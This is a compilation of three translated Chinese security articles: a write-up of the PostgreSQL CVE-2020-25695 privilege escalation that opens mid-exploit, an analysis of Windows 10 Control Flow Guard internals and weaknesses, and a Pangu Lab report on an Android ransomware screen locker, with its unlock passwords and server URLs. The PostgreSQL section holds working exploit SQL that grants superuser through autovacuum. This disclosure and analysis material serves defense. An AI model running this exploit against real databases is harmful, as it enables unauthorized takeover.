'INSERT INTO t1 VALUES (current_user); SELECT $1';
-- create a trigger function which will call the second function for inserting current user into table t1
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$ BEGIN
PERFORM snfunc(1000); RETURN NEW;
END $e$
LANGUAGE plpgsql;
/* create a CONSTRAINT TRIGGER, which is deferred
deferred causes it to trigger on commit, by which time the user has been switched back to the
invoking user, rather than the owner
*/
CREATE CONSTRAINT TRIGGER def
AFTER INSERT ON t0
INITIALLY DEFERRED
FOR EACH ROW
EXECUTE PROCEDURE strig();
我们必须创建第二个插入函数,否则我们将以非特权用户身份继续插入到要插入到其中的初始表中。
我们还希望该功能是实际执行特权操作的功能。这一点可以被简化,并且触发功能可以完成所有操作。但是这就是我当时大脑的工作方式，为什么要弄乱一些可行的东西？
tmp=> SELECT * FROM t0;
s
-----
foo
(1 row)
tmp=> SELECT * FROM t1;
s
--- (0 rows)
tmp=> INSERT INTO t0 VALUES ('baz');
INSERT 0 1
tmp=> SELECT * FROM t1;
s
----- foo
(1 row)
哇,`current_user`已插入table中`t1`。切换到特权用户(postgre)并插入`t0`,应该导致`postgres`出现在表中`t1`：
tmp=# INSERT INTO t0 VALUES ('bazfoo');
INSERT 0 1
tmp=# SELECT * FROM t1;
s
---------- foo
postgres
(2 rows)
太棒了,
现在我们可以欺骗特权用户插入到我们的表中。或者更好的方式是,测试`ANALYZE`或`VACUUM`函数现在是否在安全性受限的操作之外执行最终命令。
## 分析
作为特权用户,只需`ANALYZE`在此时执行：
tmp=# ANALYZE;
ANALYZE
tmp=# SELECT * FROM t1;
s
---------- foo
postgres
postgres
(3 rows)
成功执行!这意味着只要有特权的用户执行`ANALYZE`（或`VACUMM`就此而言），就有机会以该用户的身份执行命令！事实证明`ANALYZE`，`VACUUM`这是特权用户经常执行的非常常见的管理操作。因此，priv-esc的机会应该很高。
## 自动化
在这一点上,我们已经进行了特权升级，但是仍然需要一些手动交互。幸运地是，由于`ANALYZE`和`VACUUM`函数通常运行，并且经常因为事件运行。因此Postgresql具有[内置的功能](https://www.postgresql.org/docs/current/runtime-config-autovacuum.html)来定期运行这些[功能](https://www.postgresql.org/docs/current/runtime-config-autovacuum.html)
（需要启用，默认情况下处于禁用状态）。也许可以通过此`autovacuum`过程直接触发此问题？
要强制触发`autovacuum`运行，可以设置一些较低的阈值，然后在几次插入和删除之后该过程将运行：
ALTER TABLE blah SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE blah SET (autovacuum_analyze_threshold = 1);
不幸地是,这没有用。此时我差点认为`autovacuum`没有漏洞。但是幸运地是,我决定尝试去找出它没有"漏洞"的原因。只需快速查看日志即可确定问题所在:
`tail -f /var/log/postgres/postgresql-12-main.log`
2020-10-15 19:42:19.501 UTC [14231] LOG: automatic vacuum of table "tmp.public.blah": index scans: 1
pages: 0 removed, 1 remain, 0 skipped due to pins, 0 skipped frozen
tuples: 6 removed, 1 remain, 0 are dead but not yet removable, oldest xmin: 2618
buffer usage: 43 hits, 4 misses, 7 dirtied
avg read rate: 53.879 MB/s, avg write rate: 94.289 MB/s
system usage: CPU: user: 0.00 s, system: 0.00 s, elapsed: 0.00 s
2020-10-15 19:42:19.531 UTC [14231] ERROR: relation "t0" does not exist at character 13
2020-10-15 19:42:19.531 UTC [14231] QUERY: INSERT INTO t0 VALUES (current_user); SELECT $1
2020-10-15 19:42:19.531 UTC [14231] CONTEXT: SQL function "sfunc" during startup
问题很明显,autovacuum在Postgres中运行，但是没有数据库和模式集.因此当它尝试`INSERT INTO t0`时，他不能找到表!
所需要做的就是通过提供数据库和模式来告诉autovacuum在哪里可以找到完整的关系。
一个简单的更改：
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
'INSERT INTO t0 VALUES (current_user); SELECT $1';
变为:
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
'INSERT INTO tmp.public.t0 VALUES (current_user); SELECT $1';
现在，当autovacuum运行时，它将触发漏洞并以引导超级用户（通常为postgres）执行。
## 全自动化
在这一点上,将其编程一个完整的漏洞利用利用程序，可以自动将用户提升为`superuser`。有一个小问题,因为整个漏洞利用链是在插入基表时触发的，因此事务将在漏洞利用尝试提升特权的时候失败(因为它仍然以非特权用户身份执行,而不是在`autovacuum`进程执行)。这就需要一个简单的保护措施来检查洞利用程序（特权提升）是否应该运行，或者是否应该继续为`autovacuum`建立漏洞利用链。
-- Low privileged function
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user);
SELECT $1';
-- High privileged function
CREATE OR REPLACE FUNCTION snfunc2(integer) RETURNS integer
LANGUAGE sql
SECURITY INVOKER AS
'INSERT INTO tmp.public.t1 VALUES (current_user);
ALTER USER foo SUPERUSER;
SELECT $1';
-- updated trigger
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$
BEGIN
IF current_user = 'postgres' THEN
PERFORM tmp.public.snfunc2(1000); RETURN NEW;
ELSE
PERFORM tmp.public.snfunc(1000); RETURN NEW;
END IF;
END $e$
LANGUAGE plpgsql;
现在，当autovacuum运行时，低特权用户将被提升为超级用户。 顶框显示autovacuum的日志， 底框显示INSERT /
DELETE触发`autovacuum`
## 修复和总结
已发布所有受支持的Postgresql版本的补丁。这些可直接从[https://www.postgresql.org/](https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111/)获得，或应在软件包镜像中获得。
在无法应用补丁的情况下，可以采取一些缓解措施。这些确实带有可能会严重影响性能的警告。
>
> 虽然及时更新PostgreSQL是大多数用户的最佳补救措施，但是无法做到这一点的用户可以通过禁用自动清理并且不手动运行ANALYZE，CLUSTER，REINDEX，CREATE
> INDEX，VACUUM FULL，REFRESH MATERIALIZED VIEW或从
> 来自pg_dump命令的输出还原来解决该漏洞。在这种解决方法下，性能可能会迅速下降。
完整的建议已发送：[https](https://gist.github.com/staaldraad/1325617885d42aa40777aa4774e91214)
:
[//gist.github.com/staaldraad/1325617885d42aa40777aa4774e91214](https://gist.github.com/staaldraad/1325617885d42aa40777aa4774e91214)
修复：[https](https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111/)
:
[//www.postgresql.org/](https://www.postgresql.org/about/news/postgresql-131-125-1110-1015-9620-and-9524-released-2111/)
> 本文为翻译文章
>
>
> 原文链接:<https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-> privesc/> | 社区文章 |
# 【技术分享】探索Windows 10的CFG机制
##### 译文声明
本文是翻译文章，文章来源：sjc1-te-ftp.trendmicro.com
原文地址：<http://sjc1-te-ftp.trendmicro.com/assets/wp/exploring-control-flow-guard-in-windows10.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：260RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x00 前言**
随着操作系统开发人员一直在增强漏洞利用的缓解措施，微软在Windows 10和Windows 8.1 Update
3中默认启用了一个新的机制。这个技术称作控制流保护（CFG）。
和其他利用缓解措施机制一样，例如地址空间布局随机化（ASLR），和数据执行保护（DEP），它使得漏洞利用更加困难。毫无疑问，它将大大改变攻击者的利用技术。就像ALSR导致了堆喷射技术的出现，和DEP导致了ROP技术的出现。
为了研究这个特别的技术，我使用了Windows 10 技术预览版（build 6.4.9841）和使用Visual Studio 2015
预览版编译的测试程序。因为目前最新版的Windows 10 技术预览版（build 10.0.9926）有了一点改变，我将指出不同之处。
为了完全实现CFG，编译器和操作系统都必须支持它。作为系统层面的利用缓解措施，CFG的实现需要联合编译器、操作系统用户层库和内核模块。[MSDN上面的一篇文章](http://blogs.msdn.com/b/vcblog/archive/2014/12/08/visual-studio-2015-preview-work-in-progress-security-feature.aspx)描述了支持CFG开发者需要做的步骤。
微软的CFG实现主要集中在间接调用保护上。考虑下面测试程序中的代码：
图1 – 测试程序的代码
让我们看下CFG没有启用时的代码情况。
图2 – 测试程序的汇编代码
在上图中，有一个间接调用。它的目标地址不在编译时决定，而是在运行时决定。一个利用如下：
图3 – 怎么滥用间接调用
微软实现的CFG主要关注缓解间接调用和调用不可靠目标的问题（在利用中，这是shellcode的第一步）。
不可靠的目标有明显特征：在大部分情况下，它不是一个有效的函数起始地址。微软的CFG实现是基于间接调用的目标必须是一个可靠的函数的起始位置。启用CFG后的汇编代码是怎样的？
图4 – 启用CFG后的汇编代码
在间接调用之前，目标地址传给_guard_check_icall函数，在其中实现CFG。在没有CFG支持的Windows中，这个函数不做任何事。在Windows
10中，有了CFG的支持，它指向ntdll!LdrpValidateUserCallTarget函数。这个函数使用目标地址作为参数，并且做了以下事情：
1\.
访问一个bitmap（称为CFGBitmap），其表示在进程空间内所有函数的起始位置。在进程空间内每8个字节的状态对应CFGBitmap中的一位。如果在每组8字节中有函数的起始地址，则在CFGBitmap中对应的位设置为1；否则设置为0。下图是CFGBitmap的一部分示例：
图5 – CFGBitmap
2\. 将目标地址转化为CFGBitmap中的一个位。让我们以00b01030为例：
图6 – 目标地址
高位的3个字节（蓝色圈中的24位）是CFGBitmap（单位是4字节/32位）的偏移。在这个例子中，高位的3个字节相当于0xb010。因此，CFGBitmap中指向字节单元的指针是CFGBitmap的基址加上0xb010。
同时，第四位到第八位（红色圈中的）有值X。如果目标地址以0x10对齐（目标地址&0xf==0），则X为单位内的位偏移值。如果目标地址不以0x10对齐（目标地址&0xf!=0），则X|0x1是位偏移值。
在这个例子中，目标地址是0x00b01030。X的值为6。表达式0x00b01030&0xf值为0；这意味着位偏移也是6。
3\.
我们看到第二步定义的位。如果位等于1，意味着间接调用的目标是可靠的，因为它是一个函数的起始地址。如果这个位为0，意味着间接调用的目标是不可靠的，因为它不是一个函数的起始地址。如果间接调用目标是可靠的，函数将不做任何事并且直接执行。如果间接调用是不可靠的，将触发异常阻止利用代码运行。
图7 – CFGBitmap中的值
值X取自第4位到第8位（上面红圈中5位）。如果目标地址以0x10对齐（目标地址&0xf==0），X是单元中的位偏移值。如果目标地址不以0x10对齐（目标地址&0xf!=0），X|0x1是位偏移值。在这个例子中，目标地址是0x00b01030，X是6（图6中红色圈）。0x00b01030&0xf==0，因此位偏移是6。
在第二步中，位偏移是6。以图7为例，第6位（红圈）为1。意味着间接调用的目标是一个可靠的函数地址。
现在，我们已经有了CFG工作机制的基本认识。但是这个技巧带来了下面的问题：
1\. CFGBitmap的位信息来自哪里？
2\. 何时且怎么生成CFGBitmap？
3\. 系统怎么处理不可靠的间接调用触发的异常？
**0x01 深入CFG实现**
我们能在PE文件（启用CFG的VS2015编译的）中发现另外的CFG信息。让我们看下PE文件中的图1的代码。这个信息能用VS2015的dumpbin.exe转储出来。在PE文件的Load
Config Table部分，我们能找到下面的内容：
图8 – PE信息
Guard CF address of check-function pointer：_guard_check_icall的地址（见图4）。在Windows
10预览版中，当PE文件加载时，_guard_check_icall将被修改并指向nt!LdrpValidateUserCallTarget。
Guard CF function
table：函数的相对虚拟地址（RVA）列表的指针，其包含了程序的代码。每个函数的RVA将转化为CFGBitmap中的“1”位。换句话说，CFGBitmap的位信息来自Guard
CF function table。
Guard CF function count：函数RVA的个数。
CF Instrumented：表明程序中启用了CFG。
在这里，编译器完成了CFG的整个工作。剩下的是OS的支持使CFG机制起作用。
1\. 在OS引导阶段，第一个CFG相关的函数是MiInitializeCfg。这个进程是system。调用堆栈如下：
图9 – 调用堆栈
MiInitializeCfg函数的前置工作是创建包含CFGBitmap的共享内存。调用时间可以在NT内核阶段1内存管理器初始化时找到（MmInitSystem）。如你所知，在NT内核阶段1的初始化期间，它调用MmInitSystem两次。第一个MmInitSystem将进入MiInitializeCfg。那么MiInitializeCfg做了什么？
图10 – 函数的主要逻辑
步骤A：注册表值来自HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession
Managerkernel: MitigationOptions
步骤B：MmEnableCfg是一个全局变量，它被用来表示系统是否启用CFG功能
步骤C：MiCfgBitMapSection的DesiredAccess允许所有的权限；它的分配类型是“reserve”。在build
10.0.9926和build 6.4.9841中共享内存的大小是不同的。对于build
6.4.9841，它按用户模式空间大小计算。表达式是size=User Mode Space Size>>6。（>>X：右移X位）。对于build
10.0.9926，这个大小是0x3000000。CFG
bitmap能表示整个用户模式空间。MiCfgBitMapSection是CFG实现的核心组件，因为它被用来包含CFGBitmap。
2\. 获得压缩RVA列表信息的函数且保存到映像的Control_Area结构。
PE映像第一次加载到系统。NT内核将调用MiRelocateImage来重定位。MiRelocateImage将调用MiParseImageCfgBits。在函数MiParseImageCfgBits中，PE映像的压缩的RVA列表被计算且存储在PE映像节中的Control_Area数据结构。在系统引导期间一个PE映像只发生一次。
当PE再次加载进进程，NT内核将调用MiRelocateImageAgain。因为它的压缩的RVA列表已经保存了（且不需要再次计算），MiRelocateImageAgain不需要调用MiParseImageCfgBits保存一些进程的时间。MiParseImageCfgBits被用来计算压缩的RVA列表以便在小的空间中保存RVA列表。微软实现CFG有时间和空间的消耗。在MiRelocateImage中，它的CFG相关的部分被如下描述：
MiParseImageCfgBits被用来计算启用CFG编译的模块的压缩的RVA列表。在深入这个函数之前，我们将看一下这个函数调用的上下文。函数MiParseImageCfgBits将在MiRelocateImage函数中调用。
函数MiParseImageCfgBits有5个参数：
a) 映像节的Control_Area结构的指针
b) 映像文件内容的指针
c) 映像大小
d) 包含PE可选头结构的指针
e) 输出压缩的CFG函数RVA列表的指针
MiParseImageCfgBits的主要工作如下：
a) 从映像的Load Config Table获得函数RVA列表
b) 使用压缩算法压缩列表，以便在小空间保存列表
c) 创建压缩的RVA列表作为输出
3\. 在CFGBitmap共享内存对象被创建后，CFGBimap共享内存对象被映射来作为两种用途：
a)
用来写共享模块（.DLL文件等）的bits。这个映射是临时的；在bits写入完成后，映射将释放。通过这个映射写入的bits信息是共享的，意味着它能被操作系统内所有的进程读取。这个映射发生在MiUpdateCfgSystemWideBitmap函数中。调用堆栈如下：
图11 – 调用堆栈
b)
用来写私有的bits和读取校验间接调用的bits。通过这个映射写入的bits是私有的，意味着它只能被当前进程读取。这个映射的生存周期与进程的生命周期相同。这个映射发生子MiCfgInitializeProcess中，调用堆栈如下：
图12 – 调用堆栈
基于调用堆栈，我们知道它在一个正在初始化的进程中被映射。Build
10.0.9926和6.4.9841的映射大小是不一样的。对于6.4.9841，大小是基于用户模式空间大小计算的。表达式为size=User Mode
Sapce
Size>>6(>>X：右移X位)。对于10.0.9926，这个大小是0x3000000。映射的空间在进程生命周期内总是存在的。映射的基址和长度将被保存在类型为MI_CFG_BITMAP_INFO的结构体中，且地址被修改了（在6.4.9841中，基址是0xC0802144。在10.0.9926中，是0xC080214C）。我稍后将讨论怎么将私有的bits写入映射空间中。MI_CFG_BITMAP_INFO的结构如下：
4\. 一旦PE映像的RVA列表准备好了且CFGBitmap节也映射了，就可以将RVA列表翻译为CFGBitmap中的bits。
图13 – 更新CFGBitmap的bits
在几种不同的场景下这个过程不太一样：
在ReloadImage/ReloadImageAgain，通过 MiUpdateCfgSystemWideBitmap写入共享模块（如dll）的bits
在进程初始化阶段写入私有模块（如exe）的bits
写入VM（虚拟内存）操作的bits
写入映像和数据段的映射的bits
在深入每个场景之前，我们需要搞清楚一些背景信息。在每个进程中，包含CFGBitmap的空间被分为两部分：共享和私有。
MiCfgBitMapSection是一个共享内存对象，包含了CFGBitmap的共享的bitmap的内容。它与每个进程共享。当它在自己的虚拟内存空间中映射MiCfgBitMapSection时，每个进程看见的内容都相同。共享模块（dll等）的bitmap信息将通过3.a节描述的映射方法写入。
然而每个进程需要CFGBitmap的一部分不是被所有进程共享的。它需要私有写入一些模块的bitmap信息到CFGBitmap中。这个私有的部分将不和所有的进程共享。EXE模块的bitmap信息使用3.b节描述的方法写入。下图描述了一个通用的场景。
图14 – 在MiCfgBitMapSection中的共享部分的bitmap内容的3中过程和他们的私有节
a)
在ReloadImage/ReloadImageAgain中，通过MiUpdateCfgSystemWideBitmap写入共享模块（dll等）的bits。
如第2节所见，在得到压缩的函数的RVA列表并将它保存到Control_Area结构后(在build6.4.9841中: _Control_Area
->SeImageStub->[+4]->[+24h];在build10.0.9926中: _Control_Area
->SeImageStub->[+0]->[+24h])，它将调用MiSelectImageBase。这个函数是ASLR实现的核心。它返回最终选择的基址。选择的基地址对于写bit信息到CFGBitmap中非常重要。在得到基地址后，它将调用MiUpdateCfgSystemWideBitmap。
MiUpdateCfgSystemWideBitmap的主要任务是将压缩的RVA列表翻译为CFGBitmap中的“1”bit。通过这个函数写入的bitmap信息是共享的，且被操作系统所有的进程共享。这个函数只针对共享模块有效（dll文件等）。
MiUpdateCfgSystemWideBitmap有3个参数：
指向Control_Area结构的指针
映像的基址
指向压缩的RVA列表的指针
MiUpdateCfgSystemWideBitmap的主要逻辑如下：
图15 – MiUpdateCfgSystemWideBitmap的主要逻辑
在步骤B中，它映射CFGBitmap共享内存到系统进程空间中。它不映射所有共享内存的全部大小。它转化映像的基址为CFGBitmap的偏移，且使用转化的结果作为映射的起始地址。转为过程如下：
Bitmap的偏移=基地址>>6。按这个公式，映射大小是映像大小右移6位。这个方法在映像需要重定位（ReloadImageAgain函数）的时候也会被使用。
b)
在进程初始化阶段写私有模块（exe文件等）的bits。它将调用MiCommitVadCfgBits，其是一个派遣函数。你能使用图13作为参考。它在确定的场景被调用。这个函数的前置工作是在VAD描述的空间写入bits。主要逻辑如下：
图16 – MiMarkPrivateImageCfgBits函数处理写入私有模块的bits
MiMarkPrivateImageCfgBits函数实现向CFG
Bitmap中写入私有模块（exe等）的bit信息。当系统映射一个EXE的节或者启动一个进程时，这个函数被调用。
这个函数有2个参数：
1) Cfg信息的全局变量地址
2) 映像空间的VAD
VAD是用来描述虚拟内存空间范围的一个结构。
函数的前置工作是将输入的VAD的相关的压缩的RVA列表转化为bitmap信息，且在CFGBitmap中写入bits。主要逻辑如下：
图17 – MiMarkPrivateImageCfgBits的主要逻辑
在步骤A中，压缩的RVA列表能从输入的VAD关联的Control_Area结构中获得，在MiRelocateImage中保存（参见第二节）。
这个函数的主要步骤是步骤C。它实现私有写入映射的MiCfgBitMapSection32节（在3.b节有描述）。写入的私有的bits的映射是只读的。向映射的空间写入bits怎么实现？关键步骤如下：
i. 获得映射的空间地址的物理地址（PFN）
ii.
申请一个空的页表入口（PTE）并使用上步获得的物理地址填充PTE，新的PTE被映射到相同的物理页，其包含了映射的MiCfgBitMapSection32的虚拟地址。
iii. 复制结果缓冲区（图12）到新的PTE。物理页将包含结果缓冲区的内容
iv. 释放新的PTE
在上面步骤完成后，bitmap信息被拷贝到当前进程地址空间内。但是不会影响MiCfgBitMapSection。换句话说，MiCfgBitMapSection不知道bitmap改变了。其他进程也不会看到改变；新添加的bitmap信息对当前进程是私有的。
c)
写虚拟内存操作的bits。如果一个进程有虚拟内存操作，它可能会影响CFGBitmap中的bitmap的bits状态。从图13的场景看，它将调用MiMarkPrivateImageCfgBits。函数的前置工作是复制“1”或“0”页到CFGBitmap空间中。
i. 对于NtAllocVirtualMemory函数
如果一个进程调用NtAllocVirtualMemory函数来分配具有可执行属性的虚拟内存，NT内核将设置CFGBitmap中相关的位为“1”。但是如果分配的内存的保护属性有
SEC_WRITECOMBINE，NT内核将使用“0”设置bitmap。
ii. 对于MiProtectVirtualMemory函数
如果一个进程调用MiProtectVirtualMemory来改变虚拟内存的保护属性为“可执行”，NT内核将设置CFGBitmap相关位为“1”。
d) 写映像和数据段映射的bits
i.
对于映像（dll，EXE等）节的映射，如果映像不是共享的，处理过长如4.b节描述。如果是共享的，将由图13中的MiMarkPrivateImageCfgBits函数处理。它遍历映射空间中的每个页且将页地址转化为CFGBitmap中的偏移。
i. 如果CFGBitmap中的偏移不被PrototypePTE支持，相关的bits信息将被拷贝到CFGBitmap空间中。
ii. 如果CFGBitmap中的偏移已经有bitmap信息，CFGBitmap部分将改为只读。
ii. 对于数据段的映射，处理与4.c.i相同。
5\.
上面提到的步骤都发生在内核模式下。但是对于用户模式，CFGBitmap需要访问LdrpValidateUserCallTarget函数，它在上一部分已经描述了。用户模式下怎么知道CFGBitmap映射的地址？当创建一个进程，NT内核调用PspPrepareSystemDllInitBlock函数来写CFGBitmap映射的地址和全局变量的长度，其数据结构是PspSystemDllInitBlock结构。PspSystemDllInitBlock是修正过的地址并且从用户模式和内核模式都能访问。
图18 – 调用堆栈
用户模式可以访问硬编码的PspSystemDllInitBlock全局变量的CFGBitmap字段。
6\.
在图4中，_guard_check_icall函数指针将指向ntdll的LdrpValidateUserCallTarget。何时发生，如何发生？LdrpCfgProcessLoadConfig来完成这个工作。进程创建过程将在用户模式下调用LdrpCfgProcessLoadConfig。
图19 – 在这个函数中，它将修改_guard_check_icall的值指向LdrpValidateUserCallTarget
7\.
在所有的准备都完成后，如果间接调用的目标地址相关的位在CFGBitmap中不是“1”，将触发CFG。进程将采取行动处理这个异常。处理函数是RtlpHandleInvalidUserCallTarget。这个函数使用间接调用的目标为唯一的参数。函数的主要逻辑如下：
图20 – RtlpHandleInvalidUserCallTarget的主要逻辑
函数的主要流程是校验DEP状态和触发int 29中断，这个内核中断处理例程是KiRaiseSecurityCheckFailure。它的行为是结束进程。
如果一个间接调用的目标地址的CFGBitmap中的相关的位不能访问（如超出了CFGBitmap空间），意味着目标地址是不可靠的。系统将抛出访问异常。当这个异常回到用户模式的处理函数KiUserExceptionDispatcher时，它将调用RTLDispatchException。在RTLDispatchException中，它将校验异常发生的地址。如果指令的地址能访问CFGBitmap，它将继续调用RtlpHandleInvalidUserCallTarget。
8\.
如果一个进程需要自定义CFGBitmap，它能调用ntdll中的NtSetInformationVirtualMemory。在内核中函数MiCfgMarkValidEntries实现了这个功能。MiCfgMarkValidEntries以一个缓冲区和长度作为参数。缓冲区中的每个单位是8字节。头四个字节是目标地址，其想在CFGBitmap中设置相关的位，且后四个字节是设置“0”或“1”的标志。MiCfgMarkValidEntries自定义的CFGBitmap只在当前进程能看见。
9\.
如果一个攻击者需要改变用户模式下的CFGBitmap的内容，是不可能的。因为CFGBitmap被映射为只读（在3.b节讨论过）。不管改内存保护属性还是向空间中写值都将失败。
**0x02 CFG的弱点**
当然，这个机制不是没有弱点的。我们指出了一些弱点如下：
CFGBitmap空间地址存储在修正过的地址中，其能被用户模式代码获得。这在CFG实现中讨论过。这是很重要的安全问题，但是被简单的放过了。
如果主模块没有开启CFG，即使加载的启用了CFG的模块，进程也不会受保护。
基于图20，如果一个进程的主模块禁用了DEP（通过/NXCOMPAT:NO），能绕过CFG访问处理，即使间接调用的目标地址是不可靠的。
在CFGBitmap中的每个bit在进程空间中表示8个字节。因此如果一个不可靠的目标地址少于8个字节，CFG将认为是可靠的。
如果目标函数是动态生成的（类似JIT技术），CFG的实现不能保护。这是因为NtAllocVirtualMemory将在CFGBitmap中为所有分配的可执行的内存空间设置为“1”（4.c.i描述）。通过MiCfgMarkValidEntries自定义的CFGBitmap解决这个问题是可能的。 | 社区文章 |
From：
**[盘古实验室](http://mp.weixin.qq.com/s?__biz=MzI2MDA0MTYyMQ==&mid=2654402404&idx=1&sn=1ca6337d162283016bec776204b12af6&chksm=f1ade99ec6da60889263155b3ca7d3db01aac6149cdbe7e297ab473308311f2669dbf2296882#rd)**
### 事件说明
2017年2月13-17日，RSA Conference 2017
信息安全大会在美国旧金山Moscone中心隆重举行。大会第一天就是一系列关于Ransomware（勒索软件）的议题，而在刚刚过去的2016年，“MongDB数据库网络勒索事件”，“ElasticSearch数据库网络勒索
事件”，网络勒索问题已成为互联网安全的重点关注问题之一。
此前，某安全研究人员在知乎专栏爆料，某黑产团伙利用嵌入恶意代码的刷钻应用进行QQ盗号和恶意锁屏，感染用户高达八千人。近日，盘古实验室发现同一团伙传播的升级版恶意应用，企图锁屏用户移动设备，进行敲诈勒索。
### 一、背景概述
在某社区平台，有安卓用户称在QQ群中下载了“爱扣字”这款应用，导致手机被恶意锁住，无法正常使用。
通过感染用户提供的锁屏图片中的QQ群号码，我们找到了管理员的QQ号。管理员的QQ签名明确标注了解锁的价格。
管理员签名：“想要解锁自己的手机，需要联系加QQ群189894077，联系管理员，QQ红包35元，微信支付宝40元。”
### 二、恶意锁屏触发流程
盘古实验室在获取到恶意样本后，在安卓模拟器上进行了测试，还原其锁屏触发流程及技术原理。下图为恶意锁屏的触发流程图。
在安装“爱扣字”应用后，打开应用程序，弹出“扣字神器”的安装界面，提示安装“扣字神器”应用。
安装并打开“扣字神器”。“萌宠大揭秘”中的GIDGET，看起来萌萌的。在点击“点击开始免费激活”按钮后，跳转到下图第二个界面。弹窗“激活完全免费”，点击“激活”。
同时第三个界面弹窗询问是否激活设备管理器，激活后，跳转到上图第四个界面。前面的几个界面看起来都相对可靠，这个界面看着些许不适，风格诡异。
点击“点击开始root”后，设备黑屏并重启。重启后，设备已经被恶意应用锁屏。
在整个锁屏触发的过程中，真正具有恶意锁屏行为的应用是“爱扣字”推送安装的程序“扣字神器”。
### 三、样本技术原理
#### （1）锁屏原理
锁屏类勒索软件通常利用WindowManager.LayoutParams的flags属性，设置成某个固定的值，使悬浮窗口悬浮置顶。本文中的恶意应用也利用了同样的方法。
国内的大多数勒索类软件也大多是利用同样的手段。
除了锁屏，对于按键操作，程序也进行了监控。
当按键为4或82时，执行com.bugzapk.z的代码。4代表的是返回键，82代表的是菜单键。代码中并未出现监控音量键、关机键等特征代码。
com.bugzapk.z中的代码主要作用是将bug.apk放在system目录中，作为系统应用开机启动，达到长期恶意锁屏的目的。
而bug.apk正是重命名的“扣字神器”这款应用。
#### （2）密码加密算法
应用程序中解锁密码并没有明文存储，而是利用了AES加密和压缩算法，将密码进行加密后存储。
压缩算法：
解密前原数据：
解密后明文：
#### （3）其他恶意行为
在恶意应用运行的过程中，会主动请求网页"http://www.wencaojun.top/xnsmtp.html"，而网页中的内容是邮箱和一串类似密码的字符串。
历史恶意样本是发送序列号加密后的字符串到指定邮箱，而这个恶意应用虽然保留了部分历史代码，在此基础上添加了代码，但是在测试的过程中并未出现发送邮箱的行为。
在代码中也出现了一些可疑邮箱。
### 四、解锁流程
在整个解锁的流程中，并不如“解锁管理员”签名中所述，解锁只需35元或者40元就可以解除屏幕锁定。经过测试我们发现，想要解锁设备至少要有三个密码才能解锁。而这些密码，与解锁界面中生成的序列号毫无关系，其中有两个密码保存在远程服务器上，管理员可以随意修改。
#### （a）第一个解锁界面
在恶意软件安装后，程序会自动发送HTTP请求到指定的服务器。若HTTP请求成功，则设置第一个解锁界面的解锁密码为网页"http://www.wencaojun.top/sj.html"中声明七中的数字；若HTTP请求失败，则设置第一个解锁界面的解锁密码为4312。
#### （b）第二个解锁界面
第二个解锁界面中有三个密码可以使用，分别是4951,997998和2415。这几个密码加密存储在恶意应用的代码中，并不是明文可见。
这里的逻辑处理很有趣。密码输入4951会返回到第一个解锁界面；密码输入2415，成功解锁，跳转到第三个解锁界面；密码输入997998，则会提示机型不支持，需提供机型给管理员解锁。
这里的机型是程序通过获取设备信息获取到的，是真实信息，但是机型不支持只是一个套路罢了。
在输入997998跳转到如上图所示界面后，输入密码2415跳转到第三个解锁界面。
#### （c）第三个解锁界面
第三个解锁界面实际上修改了系统的pin值，设置了新的pin值。
第三个解锁界面的解锁密码与在安装程序时是否激活设备管理器有关。
程序安装时会询问是否激活设备管理器。若激活设备管理器，则程序从远程服务器端获取密码，密码来源于"http://www.wencaojun.top/pin.html"。若未激活设备管理器，则密码为程序加密存储的数字3957。
至此，整个程序才算解锁完毕。当然，这仅是解锁完毕。如果解锁后没有立即删除该恶意应用，重新启动手机后该应用仍会继续自动启动并锁屏。
### 五、恶意锁屏产业链
恶意样本代码中包含若干手机号码、QQ号、QQ群等信息，根据以上信息及感染用户提供的信息摸索，其产业链也越发清晰。
该团伙利用受害者贪小便宜的心理，多次在安卓逆向破解群、安卓反编译群、扣字群、QQ刷赞群等多个群中埋伏，在群文件中共享包含恶意代码的锁屏应用，并伪造成免费应用的样子，伺机传播。
在用户下载安装后，通过指定QQ群进行联系。QQ群一般伪装成普通的游戏交流群或日常沟通群。
通常情况下，群主不参与整个勒索的流程，会提示受害者联系管理员进行解锁。管理员则会对受害者多次索取解锁费，达到勒索钱财的目的。
勒索团伙具备高度的反侦查意识。在获取样本后的短短几天内多次更换群主和管理员，解散QQ群，建立新的牟利链。
QQ账号注册成本低，一个手机号码可注册多个QQ号。即使QQ号被举报，被腾讯公司收回，也可以使用相同的手机号继续注册，并且经常更换QQ号码也会在一定程度上避免其账号在社交平台大肆流传，影响牟利。
而之前在其他社交平台被披露的QQ群，大多数已解散。现在仍旧被用来维持业务的QQ群基本上都是16年之后建立的。
与其他敲诈勒索团伙不同的是，这个团伙在百度贴吧中专门建了一个贴吧进行自己的解锁宣传。虽然贴吧排名不高，帖子数量少的可怜，但是仍然可以通过其中几个解锁管理员的QQ搜索到。
正如恶意样本技术分析中描述的一样，用户设备受到感染至少执行3个步骤，至少可牟利100元。而这样低成本的恶意锁屏软件，每天感染3个用户，月收入就过万了，日积月累，涉案金额并不是一个小数目。
### 六、安全建议
恶意锁屏敲诈勒索的事件中，所安装的应用均来自QQ群，论坛等非正规渠道，而这些渠道并不具备大型应用市场相对严格的审核制度。
对于已经感染该恶意样本的用户，可通过本文中的解锁流程进行解锁操作，解锁后立即删除该应用，避免掉入循环付费解锁的黑洞。
针对安卓用户，应尽量避免安装来历不明的应用，对于应用获取root权限等敏感行为的操作也应该保持警惕，避免遭受损失。
### About
